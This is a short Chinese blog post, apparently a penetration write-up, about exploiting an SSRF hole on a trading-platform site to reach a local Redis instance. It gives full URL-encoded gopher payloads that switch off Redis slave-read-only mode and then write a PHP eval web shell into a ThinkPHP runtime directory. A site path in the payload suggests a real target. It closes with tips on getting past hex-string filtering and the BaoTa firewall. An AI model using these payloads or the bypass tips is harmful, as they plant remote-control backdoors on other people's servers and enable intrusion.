微盘系统某次ssrf到redis主从同步再到Getshell

环境介绍

  1. 当前存在SSRF漏洞的网站,能利用dict协议,gopher协议对file协议不支持。
  2. 能回显。
  3. 宝塔环境
Image description

问题一:当前连接的redis为从库,只有读取,主库已经关闭掉了。

解决方案:关闭当前redis只读属性。

CONFIG SET slave-read-only no
quit

Payload 数据包

gopher://127.0.0.1:6379/_%250D%250ACONFIG%2520SET%2520slave-read-only%2520no%250D%250Aquit

然后开始写出

flushall
set 1 '<?php eval($_POST[123]);?>'
config set dir '/www/wwwroot/xxxxx/runtime/'
config set dbfilename '9999.php'
save
quit

Payload

gopher://127.0.0.1:6379/_flushall%250D%250Aset%25201%2520%2527%253C%253Fphp%2520eval%2528%2524_POST%255B123%255D%2529%253B%253F%253E%2527%250D%250Aconfig%2520set%2520dir%2520%2527/www/wwwroot/wp_hx1_qh_guangzhou/runtime/%2527%250D%250Aconfig%2520set%2520dbfilename%2520%25279999.php%2527%250D%250Asave%250D%250Aquit

getshell 成功!写到runtime目录,其他目录不然没有写入权限。必须:777

Image description

实践经验

  1. 有得thinkphp5开启了过滤模式,我们只能写入16进制字符串进行绕过。
  2. 宝塔默认开启了一个什么天网网站防护系统,会拦截16进制字符串得操作。
  3. 必须目录为777权限,775都不能写入。
  4. 几率比较低,可以试试。
© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容